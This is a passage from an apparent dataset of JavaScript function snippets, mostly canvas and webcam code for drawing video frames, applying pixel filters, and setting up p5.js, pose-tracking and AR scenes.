if (parameter.source) {\n\n // get locally stored data for time\n var hist = JSON.parse(localStorage.getItem(parameter.source));\n if (hist) {\n parameter.time = hist.time;\n }\n\n // prepare new container\n var container = $('');\n\n // maximize player's width\n container.css('margin', '10px 0 0 0');\n container.css('padding', '0');\n container.css('width', '100%');\n\n // replace old container with new\n $('#mep_' + matches[i]).replaceWith(container);\n\n parameter.playing = false;\n\n // install player\n install(container, parameter);\n }\n }\n }\n });\n }\n });\n });\n\n // actually start observing\n observer.observe(containers[i], {\n childList: true,\n characterData: true,\n subtree: true\n });\n }\n\n // simulate click, waits for link to appear\n $('.media_comment_thumbnail').click(); \n } \n\n // no possible video containers, apologize\n else {\n apologize();\n }\n }\n}","function init() {\n\t\tconsole.log('init');\n\t\t// Put event listeners into place\n\t\t// Notice that in this specific case handlers are loaded on the onload event\n\t\twindow.addEventListener(\n\t\t\t'DOMContentLoaded',\n\t\t\tfunction() {\n\t\t\t\t// Grab elements, create settings, etc.\n\t\t\t\tvar canvas = document.getElementById('canvas');\n\t\t\t\tvar context = canvas.getContext('2d');\n\t\t\t\t// context.transform(3,0,0,1,canvas.width,canvas.heigth);\n\t\t\t\tvar video = document.getElementById('video');\n\t\t\t\tvar mediaConfig = {\n\t\t\t\t\tvideo: true\n\t\t\t\t};\n\t\t\t\tvar errBack = function(e) {\n\t\t\t\t\tconsole.log('An error has occurred!', e);\n\t\t\t\t};\n\n\t\t\t\tlet aspectRatio = 2;\n\n\t\t\t\t// Put video listeners into place\n\t\t\t\tif (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n\t\t\t\t\tnavigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\n\t\t\t\t\t\taspectRatio = stream.getVideoTracks()[0].getSettings().aspectRatio;\n\t\t\t\t\t\tdocument.getElementById('video-spinner').style.display = 'block';\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\t// Trigger photo take\n\t\t\t\tdocument.getElementById('snap').addEventListener('click', function() {\n\t\t\t\t\tdocument.getElementsByClassName('canvas-container')[0].style.visibility = 'visible';\n\t\t\t\t\tlet heigth = 480;\n\n\t\t\t\t\tcontext.save();\n\t\t\t\t\tcontext.translate(480 * aspectRatio, 0);\n\t\t\t\t\tcontext.scale(-1, 1);\n\t\t\t\t\tcontext.drawImage(video, 0, 0, aspectRatio * heigth, heigth);\n\t\t\t\t\tcontext.restore();\n\t\t\t\t\tstate.photoSnapped = true; // photo has been taken\n\t\t\t\t});\n\n\t\t\t\t// Trigger when upload button is pressed\n\t\t\t\tif (document.getElementById('upload'))\n\t\t\t\t\tdocument.getElementById('upload').addEventListener('click', () => {\n\t\t\t\t\t\tdocument.getElementById('video-spinner').style.display = 'block';\n\t\t\t\t\t\t// uploadImage();\n\t\t\t\t\t\tselectImage();\n\t\t\t\t\t});\n\n\t\t\t\tif (document.getElementById('upload_search'))\n\t\t\t\t\tdocument.getElementById('upload_search').addEventListener('click', () => {\n\t\t\t\t\t\tdocument.getElementById('video-spinner').style.display = 'block';\n\t\t\t\t\t\t// searchImage();\n\t\t\t\t\t});\n\t\t\t},\n\t\t\tfalse\n\t\t);\n\t}","function drawCameraIntoCanvas() {\n // Draw the video element into the canvas\n ctx.drawImage(video, 0, 0, 640, 480);\n // We can call both functions to draw all keypoints and the skeletons\n drawKeypoints();\n drawSkeleton();\n window.requestAnimationFrame(drawCameraIntoCanvas);\n}","function startVideo(){\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n canvas.getContext('2d').\n drawImage(video, 0, 0, canvas.width, canvas.height);\n $scope.sendPicture();\n}","function paintToCanvas() {\n // We need to make sure canvas and video are the same width/height\n const width = video.videoWidth;\n const height = video.videoHeight;\n canvas.width = width;\n canvas.height = height;\n\n // Every couple seconds, take image from webcam and put it onto canvas\n return setInterval(() => {\n // drawImage: pass it an image/video and it will place it on the canvas\n ctx.drawImage(video, 0, 0, width, height);\n\n // Take pixels out\n let pixels = ctx.getImageData(0, 0, width, height); // huge array of pixels\n\n // Play around with pixels\n switch (this.className) {\n case 'red':\n pixels = redEffect(pixels);\n break;\n case 'split':\n ctx.globalAlpha = 0.1;\n pixels = rgbSplit(pixels);\n break;\n case 'green':\n pixels = greenScreen(pixels);\n }\n\n // Put pixels back into canvas\n ctx.putImageData(pixels, 0, 0);\n }, 16);\n}","function drawCameraIntoCanvas() {\n // Draw the video element into the canvas\n drawKeypoints();\n window.requestAnimationFrame(drawCameraIntoCanvas);\n}","function currentFrameCanvas(){\n let video = document.getElementById(\"video_id\");\n canvas = document.getElementById('screenShot');\n canvas.width = width;\n canvas.height = height;\n canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);\n}","function drawCameraIntoCanvas() {\n\n // draw the video element into the canvas\n ctx.drawImage(video, 0, 0, video.width, video.height);\n \n if (body) {\n // draw circle for left and right Eye\n const leftWrist = body.getBodyPart(bodyParts.leftWrist);\n const rightWrist = body.getBodyPart(bodyParts.rightWrist);\n\n\n\n // draw left Eye\n ctx.beginPath();\n ctx.arc(leftWrist.position.x, leftWrist.position.y, 5, 0, 2 * Math.PI);\n ctx.fillStyle = 'white';\n ctx.fill();\n\n // draw right Eye\n ctx.beginPath();\n ctx.arc(rightWrist.position.x, rightWrist.position.y, 5, 0, 2 * Math.PI);\n ctx.fillStyle = 'white';\n ctx.fill();\n\n\n ctx.beginPath();\n ctx.moveTo(leftWrist.position.x,leftWrist.position.y);\n ctx.lineTo(rightWrist.position.x,rightWrist.position.y, 150);\n ctx.lineWidth = 10;\n ctx.strokeStyle = 'white';\n ctx.stroke();\n }\n requestAnimationFrame(drawCameraIntoCanvas);\n}","function createCanvas() {\n // console.log(parseInt(pixelByPixel.value));\n selectedFrameData = null;\n selectedFrameData = {};\n layerCount = 0;\n framesArray = [],\n currentFrame = 0,\n playbackRunning = false,\n playbackInterval = null,\n unsavedFrame = false;\n removeListeners();\n resetFrames();\n resetLayers();\n resetSelectionState();\n addDisplayFrame(0);\n setCurrentFrame(0);\n initCanvas(\"2d\", parseInt(pixelByPixel.value));\n}","function paintToCanvas() {\n // get the width and height of the actual live feed video\n const width = video.videoWidth;\n const height = video.videoHeight;\n\n // set canvas width and height to be the same as the live feed video\n canvas.width = width;\n canvas.height = height;\n\n // every 16ms, take the image from the webcam and put it into the canvas\n return setInterval(() => {\n ctx.drawImage(video, 0, 0, width, height);\n\n // take the pixels out\n let pixels = ctx.getImageData(0, 0, width, height);\n\n // mess with them\n // pixels = redEffect(pixels);\n\n // pixels = redSplit(pixels);\n // ctx.globalAlpha = 0.8;\n\n pixels = greenScreen(pixels);\n\n // put them back\n ctx.putImageData(pixels, 0, 0);\n }, 16);\n}","function initPreview() {\n\t\n\t//clear the canvas first\n\tcanvasPreviewContext.clearRect(0, 0, canvasPreview.width, canvasPreview.height);\n\t\n\t//what file type are we dealing with\n\tif (fileType == \"VIDEO\") {\n\t\t\n\t\tsampleWidth = 50;\n\t\tsampleHeight = Math.floor((9/16)*sampleWidth);\n\t\tvideoArea.width = sampleWidth;\n\t\tvideoArea.height = sampleHeight;\n\t\t\n\t\t//reset size of the canvas\n\t\tcanvasPreview.width = sampleWidth;\n\t\tcanvasPreview.height = sampleHeight;\n\t\tpreviewArea.style.width = sampleWidth + \"px\";\n\t\tpreviewArea.style.height = sampleHeight + \"px\";\n\t\t\n\t\t//set the video in the videoArea so it starts playing\n\t\tvideoArea.type = file.type;\n\t\tvideoArea.src = fileURL;\n\t\t\n\t\t//set fileWidth\n\t\tfileWidth = sampleWidth;\n\t\tfileHeight = sampleHeight;\n\t\t\n\t\t//make a sample first\n\t\t/*canvasPreviewContext.drawImage(videoArea, 0, 0, videoArea.width, videoArea.height);*/\n\t\t\n\t\t//initBuffers();\n\t\t\n\t\t\n\t\t/*document.onclick = function() {\n\t\t\tinitCubes();\n\t\t}*/\n\t\t\n\t\t//keep updating cubes based on the options\n\t\t//startUpdateCubesInterval();\n\t\tsetTimeout(initPlanes, 2000);\n\t\tstartUpdatePlanesInterval();\n\t\tstopUpdateCubesInterval();\n\t\t\n\t\t//keep rendering the screen based on mouse/camera position\n\t\tstartThreeInterval();\n\n\t\t\n\t} else if (fileType == \"IMAGE\") {\n\t\t\n\t\t\n\t\tsampleWidth = 30;\n\t\tsampleHeight = Math.floor((9/16)*sampleWidth);\n\t\t\n\t\t//load the image data and display in the preview\n\t\tvar img = new Image();\n\t\timg.onload = function() {\n\n\t\t\t//get the image dimensions so we can drawImage at the right aspect ratio\n\t\t\tsetNewFileDimensions(img);\n\t\t\t\n\t\t\t//draw the image onto the canvas\n\t\t canvasPreviewContext.drawImage(img, 0, 0, fileWidth, fileHeight);\n\t\t\t\n\t\t\t//initBuffers();\n\t\t\tinitCubes();\n\t\t\t//initPlanes();\n\t\t\t\n\t\t\t//keep updating cubes based on the options\n\t\t\tstartUpdateCubesInterval();\n\t\t\tstopUpdatePlanesInterval();\n\t\t\t\n\t\t\t//keep rendering the screen based on mouse/camera position\n\t\t\tstartThreeInterval();\n\n\t\t}\n\t\t\n\t\t//set the src of our new file\n\t\timg.src = fileURL;\n\t\t\n\t\t//we should clear the video tag\n\t\tvideoArea.type = \"\";\n\t\tvideoArea.src = \"\";\n\t\tvideoArea.pause();\n\t\t\n\t\t//we should stop sampling the video if its there\n\t\tstopSamplingVideo();\n\t\t\n\t}\n\t\n}","function FrameInitalizer(canvas, form, video, options) {\n //Opt parse.\n options = options || {};\n this.drawFrame = options.override_frame_draw || this._drawFrame\n this.drawImage = options.override_image_draw || this._drawImage\n this.drawPolygons = options.override_polygon_draw || this._drawPolygons\n //I might add a string to the OnChange functions that says where they were called from.\n //I could also add stuff like OnClear or whatever, not really sure I wanna go for that.\n //A return a reference to the previous state?\n //You shouldn't need these unless you do web worker stuff anyways.\n this.onImageChange = options.on_image_change_functor || (function(self) {\n return; //self.drawFrame() //Do nothing, if they want to draw on every update, let them set this.\n });\n this.onPolygonChange = options.on_polygon_change_functor || (function(self) {\n return; //self.drawFrame(); //Do nothing, if they want to draw on every update, let them set this.\n });\n this.source = options.source || null;\n this.number_of_frames = options.number_of_frames || 1;\n //Mandatory positional args.\n this.canvas = canvas;\n this.form = form;\n this.video = video; //video element;\n this.frames = [new _FrameTracker(0)];\n this.frame_index = 0;\n this.updateFrameList(1);\n }","function initialize() {\n // Create a canvas element to which we will copy video.\n canvas = document.createElement('canvas');\n var webcamDimensions = webcam.getDimensions();\n canvas.width = webcamDimensions.width;\n canvas.height = webcamDimensions.height;\n\n // We need a context for the canvas in order to copy to it.\n context = canvas.getContext('2d');\n\n // create an AR Marker detector using the canvas as the data source\n detector = ardetector.create( canvas );\n\n // Create an AR View for displaying the augmented reality scene\n view = arview.create( webcam.getDimensions(), canvas );\n\n // Set the ARView camera projection matrix according to the detector\n view.setCameraMatrix( detector.getCameraMatrix(10,1000) );\n\n // Place the arview's GL canvas into the DOM.\n document.getElementById(\"application\").appendChild( view.glCanvas );\n }","function setup() {\n createCanvas(640, 480, P2D); // canvas has same dimensions as my webcam\n background(0);\n stroke(0, 255, 0);\n noFill();\n\n // make sure the framerate is the same between sending and receiving\n frameRate(30);\n\n // Set to true to turn on logging for the webrtc client\n WebRTCPeerClient.setDebug(true);\n\n // To connect to server over public internet pass the ngrok address\n // See https://github.com/lisajamhoury/WebRTC-Simple-Peer-Examples#to-run-signal-server-online-with-ngrok\n WebRTCPeerClient.initSocketClient('https://XXXXXXXX.ngrok.io/');\n\n // Start the peer client\n WebRTCPeerClient.initPeerClient();\n\n // start your video\n // your webcam will always appear below the canvas\n myVideo = createCapture(VIDEO);\n myVideo.size(width, height);\n myVideo.hide();\n\n ////// HOW TO DEFINE OTHER PERSON'S VIDEO? //////\n // otherVideo = createCapture(VIDEO);\n // otherVideo.size(width, height);\n\n}","function paintToCanvas() { //to display webcame live in a specified canvas with videos actual height and width\n\n const width = video.videoWidth; //getting actual height and width of video\n const height = video.videoHeight;\n canvas.width = width; //setting the canvas width and height accordingly \n canvas.height = height;\n return setInterval(() => { //by setintertval method we are drawing the recieved video's image in after every 16milli sec \n ctx.drawImage(video, 0, 0, width, height); //here we are drawing the image recieved in canvas\n let pixels = ctx.getImageData(0, 0, width, height) //here we are getting the canvas image to make some effect\n // console.log(pixels)\n // debugger;\n // pixels = redeffect(pixels) //here redeffect is called\n // console.log(hola);\n pixels = rgbsplit(pixels) // we are calling rgb split to make some changes in the pixels thats is the image we get from canvas\n ctx.globalAlpha=0.8; \n // pixels = greenscreen(pixels)\n ctx.putImageData(pixels, 0, 0); //after we get the changed pixels we put it back in the canvas\n }, 16);\n}","function setup() {\n createCanvas(640, 480);\n video = select(\"video\") || createCapture(VIDEO);\n video.size(width, height);\n\n const poseNet = ml5.poseNet(video, { flipHorizontal: true }, () => {\n select(\"#status\").hide();\n });\n\n poseNet.on(\"pose\", (newPoses) => {\n poses = newPoses;\n });\n\n // Hide the video element, and just show the canvas\n video.hide();\n}","function ytInject() {\n injectStyle();\n injectCanvas();\n injectButton();\n\n $(window).resize(function() {\n var main = $('#vt-main-div').get(0);\n var canvas = $('#vt-canvas').get(0);\n\n main.style.height = $('.video-stream').height();\n main.style.width = $('.video-stream').width();\n $('#vt-canvas').height($('vt-main-div').height());\n $('#vt-canvas').width($('vt-main-div').width());\n\n //Scale the canvas to achieve proper resolution\n canvas.width=$('#vt-main-div').width()*window.devicePixelRatio;\n canvas.height=$('#vt-main-div').height()*window.devicePixelRatio;\n canvas.style.width=$('#vt-main-div').width() + \"px\";\n canvas.style.height=$('#vt-main-div').height() + \"px\";\n });\n}","setup(canvas) {\n this.engine.renderer.setup(canvas);\n this.start();\n }","function start() {\n if (initialized)\n return;\n\n let myCanvas = document.getElementById(\"canvas\");\n myCanvas.classList.toggle(\"hide\");\n\n let button = document.getElementById(\"webcamButton\");\n button.classList.add(\"hide\");\n\n window.ctx = myCanvas.getContext('2d', {alpha: false});\n\n var mycamvas = new camvas(window.ctx, processFrame);\n initialized = true;\n}","function drawVedio() {\n setTimeout(() => {\n canvas.getContext(\"2d\").drawImage(video, 0, 0, 100, 100);\n drawVedio();\n }, 0);\n }","function setupMotionDetection() {\n md_canvas = document.getElementById('mdCanvas');\n test_canvas = document.getElementById('testCanvas');\n md_canvas.width = vid_width;\n md_canvas.height = vid_height;\n}","function prepareCanvas() {\n canvas = window._canvas = new fabric.Canvas('canvas');\n canvas.backgroundColor = '#ffffff';\n canvas.isDrawingMode = 1;\n canvas.freeDrawingBrush.color = \"black\";\n canvas.freeDrawingBrush.width = 1;\n canvas.renderAll();\n //setup listeners \n canvas.on('mouse:up', function(e) {\n getFrame();\n mousePressed = false\n });\n canvas.on('mouse:down', function(e) {\n mousePressed = true\n });\n canvas.on('mouse:move', function(e) {\n recordCoor(e)\n });\n}","function setupCanvas() {\n// setup everything else\n\tconsole.log(\"Setting up canvas...\")\n\tcanvas = document.getElementById(\"drone-sim-canvas\");\n\twindow.addEventListener(\"keyup\", keyFunctionUp, false);\n\twindow.addEventListener(\"keydown\", keyFunctionDown, false);\n\twindow.onresize = doResize;\n\tcanvas.width = window.innerWidth-16;\n\tcanvas.height = window.innerHeight-200;\n\tconsole.log(\"Done.\")\n}","function setup() {\n createCanvas(windowWidth, windowHeight);\n capture = createCapture(VIDEO);\n capture.size(windowWidth, windowHeight);\n capture.hide();\n background(255, 0, 200);\n}","function setup() {\n // setup canvas: target\n canvas = createCanvas(640, 480, WEBGL);\n canvas.id('p5canvas');\n background(51);\n\n // setup webcam: source\n video = createCapture(VIDEO);\n video.size(width, height);\n video.id('p5video'); // giving an ID to the video to link to seriously\n video.hide();\n\n // switch between modes\n createP(\"To start, press 'a' for blur or 's' for vignette.\");\n\n // adjust blur\n createP('Adjust Blur');\n blurSlider = createSlider(0, 1, 0.5, 0.01);\n blurSlider.id('blur-slider');\n\n // adjust vignette strength\n createP('Adjust Vignette');\n vignetteSlider = createSlider(0, 100, 50);\n vignetteSlider.id('vignette-slider');\n\n\n // Call Seriously function inside the variable: seriously\n seriously = new Seriously(); // create an object called seriously\n\n // Source: webcam, target: canvas\n src = seriously.source('#p5video');\n target = seriously.target('#p5canvas');\n\n keyReleased();\n\n seriously.go();\n\n\n}","_setupCanvas () {\r\n\t\tthis.canvas = document.createElement('canvas');\r\n\t\tthis.context = this.canvas.getContext('2d');\r\n\r\n\t\tthis.canvas.width = 500;\r\n\t\tthis.canvas.height = 500;\r\n\r\n\t\tlet body = document.getElementById('body');\r\n\t\tbody.appendChild(this.canvas);\r\n\t}","function render(){\n var canvas = $('#canvas')[0];\n var context = canvas.getContext('2d');\n var video = $('#camera')[0];\n\n // copy camera frame from video to canvas so lines can be drawn on\n try{\n context.drawImage(video, 0, 0, video.width, video.height);\n }\n catch(error){\n if(error.name != \"NS_ERROR_NOT_AVAILABLE\"){\n throw error;\n }\n }\n\n // save original canvas\n var subcanvas = $('#binary')[0];\n var subcontext = subcanvas.getContext('2d');\n subcontext.drawImage(canvas, canvas.width/4, canvas.height*3/8, canvas.width/2, canvas.height/4, 0, 0, subcanvas.width, subcanvas.height);\n\n // remaining detection\n process(subcanvas);\n\n // flip horizontally\n context.setTransform(1, 0, 0, 1, 0, 0);\n context.translate(canvas.width, 0);\n context.scale(-1, 1);\n\n // draw line\n context.lineWidth = 1;\n context.strokeStyle = 'green';\n context.beginPath();\n context.moveTo(canvas.width/4, canvas.height/2);\n context.lineTo(canvas.width*3/4, canvas.height/2);\n context.moveTo(canvas.width/2, canvas.height*3/8);\n context.lineTo(canvas.width/2, canvas.height*5/8);\n context.stroke();\n\n context.strokeStyle = 'blue';\n context.beginPath();\n context.moveTo(canvas.width*1/4, canvas.height*3/8);\n context.lineTo(canvas.width*3/4, canvas.height*3/8);\n context.lineTo(canvas.width*3/4, canvas.height*5/8);\n context.lineTo(canvas.width*1/4, canvas.height*5/8);\n context.closePath();\n context.stroke();\n\n requestAnimationFrame(render);\n }","initialiseCanvas(){\n let canvas = document.querySelector(\".genetic-art .canvas_container .result\");\n canvas.width = this.modelData.width;\n canvas.height = this.modelData.height;\n }","function setCanvas(){\n _canvas = document.getElementById('canvas');\n _stage = _canvas.getContext('2d');\n _canvas.width = _puzzleWidth;\n _canvas.height = _puzzleHeight;\n}","async function setupCamera() {\n const video = document.getElementById('video');\n const canvas = document.getElementById('canvas');\n if (!video || !canvas) return null;\n\n let msg = '';\n log('Setting up camera');\n // setup webcam. note that navigator.mediaDevices requires that page is accessed via https\n if (!navigator.mediaDevices) {\n log('Camera Error: access not supported');\n return null;\n }\n let stream;\n const constraints = {\n audio: false,\n video: { facingMode: 'user', resizeMode: 'crop-and-scale' },\n };\n if (window.innerWidth > window.innerHeight) constraints.video.width = { ideal: window.innerWidth };\n else constraints.video.height = { ideal: window.innerHeight };\n try {\n stream = await navigator.mediaDevices.getUserMedia(constraints);\n } catch (err) {\n if (err.name === 'PermissionDeniedError' || err.name === 'NotAllowedError') msg = 'camera permission denied';\n else if (err.name === 'SourceUnavailableError') msg = 'camera not available';\n log(`Camera Error: ${msg}: ${err.message || err}`);\n return null;\n }\n // @ts-ignore\n if (stream) video.srcObject = stream;\n else {\n log('Camera Error: stream empty');\n return null;\n }\n const track = stream.getVideoTracks()[0];\n const settings = track.getSettings();\n if (settings.deviceId) delete settings.deviceId;\n if (settings.groupId) delete settings.groupId;\n if (settings.aspectRatio) settings.aspectRatio = Math.trunc(100 * settings.aspectRatio) / 100;\n log(`Camera active: ${track.label}`); // ${str(constraints)}\n log(`Camera settings: ${str(settings)}`);\n canvas.addEventListener('click', () => {\n // @ts-ignore\n if (video && video.readyState >= 2) {\n // @ts-ignore\n if (video.paused) {\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n } else {\n // @ts-ignore\n video.pause();\n }\n }\n // @ts-ignore\n log(`Camera state: ${video.paused ? 'paused' : 'playing'}`);\n });\n return new Promise((resolve) => {\n video.onloadeddata = async () => {\n // @ts-ignore\n canvas.width = video.videoWidth;\n // @ts-ignore\n canvas.height = video.videoHeight;\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n resolve(true);\n };\n });\n}","function setup() {\n createCanvas(1280, 480); // Create a display window\n img = loadImage('lk.jpg'); // Load the image\n capture = createCapture(VIDEO); // Get the capture video\n capture.id(\"video_elemyent\"); // Set the video Id\n capture.size(640, 480); // Define video size to 640x480\n capture.hide() // Hide the streaning video\n faceapi = ml5.faceApi(capture, faceReady);\n}","function setup() {\n let canvasDiv = document.getElementById('animation');\n canvasWidth = canvasDiv.offsetWidth;\n canvasHeight = canvasDiv.offsetHeight;\n pipesAmount = Math.floor(canvasHeight / (minPipeHeight + 1));\n pipesWidth = canvasWidth / (pipesAmount + 1);\n // Creates canvas\n let canvas = createCanvas(canvasWidth, canvasHeight);\n // Declares the parent div of the canvas\n canvas.parent('animation');\n}","function setCanvas(){\r\n _canvas = document.getElementById('canvas');\r\n _stage = _canvas.getContext('2d');\r\n _canvas.width = _puzzleWidth;\r\n _canvas.height = _puzzleHeight;\r\n _canvas.style.border = \"1px solid black\";\r\n}","init() {\n const wrapper = document.getElementById('canvasWrapper');\n let newCanvas;\n if (!document.querySelector('canvas')) {\n newCanvas = document.createElement('canvas');\n newCanvas.width = this.width;\n newCanvas.height = this.height;\n newCanvas.setAttribute('id', 'canvas');\n this.context = newCanvas.getContext('2d');\n wrapper.appendChild(newCanvas);\n } else {\n newCanvas = document.getElementById('canvas');\n newCanvas.width = this.width;\n newCanvas.height = this.height;\n this.context = newCanvas.getContext('2d');\n }\n this.style(wrapper);\n }","drawScreen () {\n if(this.video1.canplaythrough && this.video2.canplaythrough) {\n this.context.putImageData(this.video1.context.getImageData(0,0, 320, 180), 0, 0);\n this.context.putImageData(this.video2.context.getImageData(0,0, 320, 180), 0, 0);\n this.context.drawImage(this.video2.canvas, 0, 0);\n this.context.drawImage(this.video1.canvas, 0, 0);\n // let frame1 = this.video2.context.getImageData(0,0, 320, 180);\n // this.context.putImageData(frame1, 0, 0);\n }\n }","createCanvas() {\n this.canvas = document.createElement('canvas');\n this.canvas.width = this.width * this.resolution;\n this.canvas.height = this.height * this.resolution;\n this.context = this.canvas.getContext('2d');\n }","_addCanvas() { // add canvas will add a track to the screen by changing the CSS of div elements and buttons, can add up to 4 tracks\n if (this.numberOfCanvases == 1) { // set up canvas context for visualizer\n this.canvasContainer = document.getElementById('canvasContainer1');\n this.canvas = document.getElementById('canvas1');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n } else if (this.numberOfCanvases == 2) {\n this._greyCanvas();\n this.canvasContainer = document.getElementById('canvasContainer2');\n this.canvas = document.getElementById('canvas2');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n } else if (this.numberOfCanvases == 3) {\n this._greyCanvas();\n this.canvasContainer = document.getElementById('canvasContainer3');\n this.canvas = document.getElementById('canvas3');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n } else if (this.numberOfCanvases == 4) {\n this._greyCanvas();\n this.canvasContainer = document.getElementById('canvasContainer4');\n this.canvas = document.getElementById('canvas4');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n }\n }","initializeCanvas(){\n\t\tconsole.log(`======] Init Canvas [======`, this.state);\n\n\t\tif(this.state.device.width && this.state.device.height){\n\t\t\tthis.canvas = document.createElement('canvas');\n\t\t\tthis.canvas.id = 'screen-canvas';\n\t\t\tthis.canvas.width = this.state.device.width/2;\n\t\t\tthis.canvas.height = this.state.device.height/2;\n\t\t\tthis.canvas.style = 'margin: 50px; border: 1px solid black; cursor: pointer;';\n\t\t\tthis.canvas.onmouseover = this.cursorOver.bind(this);\n\t\t\tthis.canvas.onmouseout = this.cursorOut.bind(this);\n\t\t\tthis.canvas.onmousedown = this.interactStart.bind(this);\n\t\t\tthis.canvas.onmousemove = this.interactMove.bind(this);\n\t\t\tthis.canvas.onmouseup = this.interactEnd.bind(this);\n\t\t\tthis.canvas.onmousewheel = this.mouseWheel.bind(this);\n\t\t\tdocument.body.onkeydown = this.keyDown.bind(this);\n\t\t\tdocument.body.onkeyup = this.keyUp.bind(this);\n\n\t\t\tdocument.getElementById('screen-container').appendChild(this.canvas)\n\t\t\tthis.ctx = this.canvas.getContext('2d');\n\t\t}else{\n\t\t\talert(`Device resolution failed to be detected`);\n\t\t}\n\t}","function setup() {\n createCanvas(800, 600);\n pixelDensity(1); //for retina displays\n capture = createCapture(VIDEO);\n capture.size(width / vScale, height / vScale);\n capture.hide();\n\n\n}","function createCanvasZone(canvas,ctx,video){\r\n \r\n var BtnZone = document.createElement('div');\r\n BtnZone.id=\"canvasBtnZone\";\r\n \r\n var clear_btn = document.createElement('input');\r\n clear_btn.type = \"button\";\r\n clear_btn.id = 'clearCanvas';\r\n clear_btn.className = \"canvas_btn\";\r\n clear_btn.value='Clear';\r\n clear_btn.onclick=function(){clearArea(ctx)};\r\n \r\n var close_btn = document.createElement('input');\r\n close_btn.type = \"button\";\r\n close_btn.className = \"canvas_btn\";\r\n close_btn.id = 'closeCanvas';\r\n close_btn.value='Close';\r\n close_btn.onclick=function(){BtnZone.remove();};\r\n \r\n\r\n \r\n var send_btn = document.createElement('input');\r\n send_btn.type = \"button\";\r\n send_btn.id = 'sendscreenShot';\r\n send_btn.className = \"canvas_btn\";\r\n send_btn.value='Send screenshot';\r\n send_btn.onclick=function(){sendScreenshot()};\r\n \r\n \r\n $('#CanvasZone').append(BtnZone);\r\n $('#canvasBtnZone').append(clear_btn);\r\n $('#canvasBtnZone').append(close_btn);\r\n $('#canvasBtnZone').append(send_btn); \r\n $('#canvasBtnZone').append(canvas); \r\n \r\n InitThis(ratio,canvas,video);\r\n}","function takePhoto (e) {\nlet ctx = outputCanvas.getContext('2d')\nctx.drawImage(inputVideo,0,0)\n}","function initCanvas(width, height){}","function setup()\n{\n const maxWidth = Math.min(windowWidth, windowHeight);\n pixelDensity(1);\n outputWidth = maxWidth;\n outputHeight = maxWidth * 0.75; // 4:3\n\n createCanvas(outputWidth, outputHeight);\n\n // webcam capture\n videoInput = createCapture(VIDEO);\n videoInput.size(outputWidth, outputHeight);\n videoInput.hide();\n\n // select filter\n const sel = createSelect();\n const selectList = ['Donal trump', 'Dog Filter', 'billgate', 'pikachu']; // list of filters\n sel.option('Select Filter', -1); // Default no filter\n for (let i = 0; i < selectList.length; i++)\n {\n sel.option(selectList[i], i);\n }\n sel.changed(applyFilter);\n\n // tracker\n faceTracker = new clm.tracker();\n faceTracker.init();\n faceTracker.start(videoInput.elt);\n}","function setUpCanvas() {\r\n canvas = document.createElement(\"CANVAS\");\r\n canvas.id = \"canvas\";\r\n canvas.style.width = \"100%\";\r\n canvas.style.height = \"100%\";\r\n canvas.style.background = 'black';\r\n canvas.style.marginLeft = 'auto';\r\n canvas.style.marginRight = 'auto';\r\n canvas.style.display = 'block';\r\n }","init() {\n if (this.canvas.getContext) {\n this.start();\n } else {\n canvas.textContent = 'Sorry canvas not suport';\n }\n }","function adaptElements() {\n const rect = document.body.getBoundingClientRect();\n const screenWidth = rect.width;\n const screenHeight = rect.height;\n const videoWidth = video.videoWidth;\n const videoHeight = video.videoHeight;\n const widthRatio = videoWidth / screenWidth;\n const heightRatio = videoHeight / screenHeight;\n const ratio = Math.min(widthRatio, heightRatio);\n // set image size and offset\n imageWidth = Math.floor(ratio * screenWidth + 0.5);\n imageHeight = Math.floor(ratio * screenHeight + 0.5);\n videoX = Math.max(0, Math.floor(0.5 * (videoWidth - imageWidth) + 0.5));\n videoY = Math.max(0, Math.floor(0.5 * (videoHeight - imageHeight) + 0.5));\n // adapt canvas size to input video size\n canvas.width = imageWidth;\n canvas.height = imageHeight;\n // adapt canvas size to screen\n image.width = screenWidth;\n image.height = screenHeight;\n // calculate video screen size and offset\n const videoScreenWidth = Math.floor(videoWidth / ratio + 0.5);\n const videoScreenHeight = Math.floor(videoHeight / ratio + 0.5);\n const videoScreenX = Math.floor(videoX / ratio + 0.5);\n const videoScreenY = Math.floor(videoY / ratio + 0.5);\n // resize and position video an screen\n video.width = videoScreenWidth;\n video.height = videoScreenHeight;\n video.style.left = `${-videoScreenX}px`;\n video.style.top = `${-videoScreenY}px`;\n // show live video\n resetVideo();\n }","static init(canvas){\r\n\r\n\r\n\t}","function playVideo(videoTimeline) {\n\n const timelineNode = videoTimeline.next\n const video = videoTimeline.data.videoCore\n const videoEndTime = videoTimeline.data.metadata.endTime\n \n loop = () => {\n if (!window.currentlyPlaying) {\n return\n }\n\n if (videoEndTime < video.currentTime + 0.01) {\n /* Pausing the current video if necessary */\n video.pause()\n\n if (timelineNode) {\n\n /* Setting the current switch value */\n if (timelineNode.data.metadata.ratio == 'fit') {\n window.currentRatio = 'fit'\n document.querySelector('.toogle-fit').click()\n } else if (timelineNode.data.metadata.ratio == 'strech') {\n 